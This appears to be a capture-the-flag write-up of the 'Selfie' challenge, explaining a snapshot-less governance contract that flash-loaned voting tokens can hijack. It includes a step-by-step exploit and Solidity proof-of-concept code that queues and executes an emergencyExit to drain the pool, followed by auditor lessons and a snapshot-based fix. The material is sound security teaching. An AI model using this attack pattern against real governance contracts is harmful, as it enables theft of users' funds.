🤳 Selfie - Governance Hijacking Attack
Challenge Overview
The SelfiePool holds 1.5 million DamnValuableVotes tokens. These tokens carry voting power in the SimpleGovernance contract. The pool has an emergencyExit function that can only be called by the governance contract.
The Goal: Drain the pool’s assets and transfer them to the recovery account.
Technical Analysis
The Vulnerable Code: SimpleGovernance.sol
The core flaw is in the queueAction function and how it checks voting power:
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) { // [VULNERABILITY] Checks voting power only at the moment of proposal submission if (!_hasEnoughVotes(msg.sender)) { revert NotEnoughVotes(msg.sender); } // ...}
function _hasEnoughVotes(address who) private view returns (bool) { // Reads CURRENT voting power, no snapshot or historical check uint256 balance = _votingToken.getVotes(who); uint256 halfTotalSupply = _votingToken.totalSupply() / 2; return balance > halfTotalSupply;}Root Cause: Missing Snapshots
- Instant Voting Power: The governance contract checks the current balance of the user’s voting power. It doesn’t use a “snapshot” of a previous block or require the tokens to be held for a specific duration.
- Flash Loan Synergy: Since the
SelfiePooloffers flash loans of the very same voting tokens, an attacker can borrow a massive amount of tokens, instantly gaining the majority of the total voting supply. - Governance Delay Bypass: While there is a 2-day delay between proposing and executing an action, the contract only checks the voting power at the moment of proposal. Once a proposal is in the queue, the attacker no longer needs to hold the tokens.
The Exploit: The Governance Coup
- Flash Loan: Borrow 1.5 million tokens (the entire pool).
- Delegate: Call
delegate(address(this))to activate the borrowed voting power for our own address. - Propose: Call
queueActionto propose a call topool.emergencyExit(recovery). - Repay: Return the 1.5 million tokens to the pool within the same transaction.
- Wait: Wait for the 2-day governance time-lock to expire.
- Execute: Call
executeAction. Since the proposal was already validated and queued, it executes perfectly, draining the pool.
Proof of Concept (PoC)
function onFlashLoan(address, address, uint256 amount, uint256, bytes calldata) external override returns (bytes32) { // 1. Delegate voting power to ourselves token.delegate(address(this));
// 2. Propose the malicious withdrawal bytes memory data = abi.encodeCall(pool.emergencyExit, recovery); actionId = governance.queueAction(address(pool), 0, data);
// 3. Approve repayment token.approve(address(pool), amount); return keccak256("ERC3156FlashBorrower.onFlashLoan");}
function test_selfie() public checkSolvedByPlayer { // 1. Trigger flash loan which submits the proposal pool.flashLoan(this, address(token), TOKENS_IN_POOL, "");
// 2. Skip the 2-day time lock vm.warp(block.timestamp + 2 days);
// 3. Execute the proposal governance.executeAction(actionId);}Auditor’s Lessons
- Use Block Snapshots for Governance: Voting power should always be calculated based on a past block height (e.g., using OpenZeppelin’s
VotesorERC20Votes). This makes flash-loan hijacking impossible as the loan happened in the current block. - Require Token Locking: Alternatively, require users to stake/lock their tokens for the entire duration of the proposal cycle.
- Verify Proposal Eligibility at Execution: Re-verify that the proposer or the supporting voters still hold sufficient balance during the execution phase.
- Flash Loan Awareness: Always assume any token with utility (voting, rewards, etc.) can be borrowed in massive quantities for a single transaction.
Remediation
The most effective fix is to use a voting token that supports snapshots:
function _hasEnoughVotes(address who) private view returns (bool) { // Use getPastVotes from a block PRIOR to the proposal block uint256 balance = _votingToken.getPastVotes(who, block.number - 1); return balance > _votingToken.getPastTotalSupply(block.number - 1) / 2;}